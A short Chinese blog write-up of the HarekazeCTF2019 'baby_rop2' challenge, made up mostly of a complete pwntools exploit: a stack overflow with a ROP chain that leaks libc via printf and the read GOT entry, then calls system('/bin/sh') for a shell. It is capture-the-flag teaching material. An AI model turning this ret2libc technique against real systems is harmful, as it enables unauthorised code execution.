[HarekazeCTF2019]baby_rop2

女爷i 2023-02-18 11:58 4阅读 0赞

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70]  
![在这里插入图片描述][20200617175422133.png]  
exp

#!/usr/bin/env python3
    # coding=utf-8
    
    from pwn import *
    from LibcSearcher import *
    
    context(log_level = 'debug')
    proc_name = './babyrop2'
    p = process(proc_name)
    # p = remote('node3.buuoj.cn', 29966)
    elf = ELF(proc_name)
    print(proc.pidof(p))
    main_addr = elf.sym['main']
    printf_plt = elf.plt['printf']
    read_got = elf.got['read']
    pop_rdi_ret = 0x400733
    pop_rsi_r15_ret = 0x400731
    format_str = 0x400770
    p.recvuntil('name?')
    print(elf.got)
    payload = 'a'.encode() * (0x20 + 8) + p64(pop_rdi_ret) + p64(format_str) + p64(pop_rsi_r15_ret) + p64(read_got) + p64(0x0) + p64(printf_plt) + p64(main_addr) 
    print(payload)
    p.sendline(payload)
    read_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(0x8, b'\x00'))
    print(read_addr)
    p.recv()
    libc = LibcSearcher('read', read_addr)
    libc_base = read_addr - libc.dump('read')
    system_addr = libc_base + libc.dump('system')
    bin_sh_str = libc_base + libc.dump('str_bin_sh')
    payload1 = 'a'.encode() * (0x20 + 8) + p64(pop_rdi_ret) + p64(bin_sh_str) + p64(system_addr)
    p.sendline(payload1)
    p.interactive()

如果有小伙伴好奇，为什么不直接传递read函数的的got表中的地址，直接打印出来，这里是因为我们输入的数据是存在buf中的，buf是位于栈上的，对于%s，他要解析我们输入的数据，就是栈地址对应的数据，所以打印出来的还是我们输入的东西！如下图  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70 1]  
![在这里插入图片描述][2020061719013658.png]

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70]: https://img-blog.csdnimg.cn/20200617174937588.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg==,size_16,color_FFFFFF,t_70
[20200617175422133.png]: https://img-blog.csdnimg.cn/20200617175422133.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70 1]: https://img-blog.csdnimg.cn/2020061717492130.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg==,size_16,color_FFFFFF,t_70
[2020061719013658.png]: https://img-blog.csdnimg.cn/2020061719013658.png